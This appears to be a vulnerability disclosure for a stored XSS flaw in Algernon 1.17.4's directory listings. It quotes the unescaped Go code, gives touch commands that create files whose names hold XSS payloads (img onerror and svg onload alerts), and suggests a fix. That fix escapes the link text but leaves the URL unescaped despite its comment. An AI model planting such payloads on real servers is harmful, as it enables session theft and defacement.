Filenames from the filesystem are inserted directly into HTML without escaping in directory listings. If an app has a file upload feature or any shared hosting, an attacker could create files with XSS payloads in the filename which will be triggered when an user checks the url.
engine/dirhandler.go lines 80-108
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go lines 124-132
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>"
// 'text' (filename) is inserted directly without HTML escaping
}
$ algernon -v
Algernon 1.17.4
In a directory, create files with xss payloads as names.
# XSS Payload 1: Simple alert
touch "test<img src=x onerror=alert('XSS')>.txt"
# XSS Payload 3: Event handler in filename
touch "document<svg onload=alert(document.domain)>.svg"
In the same repository, run the application.
algernonServer directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
Visit the following url, an alert will appear.
An attacker could upload files with a XSS payload in their name to change a website's contents or steal cookies to hijack sessions.
Sanitize the output by escaping the filename. For example :
import "html"
func HTMLLink(text, url string, isDirectory bool) string {
// Escape the display text to prevent XSS
escapedText := html.EscapeString(text)
// URL encode the URL to prevent injection
escapedURL := url
if isDirectory {
escapedText += "/"
escapedURL += "/"
}
return "<a href=\"/" + escapedURL + "\">" + escapedText + "</a><br>"
}
But bluemonday is also very efficient.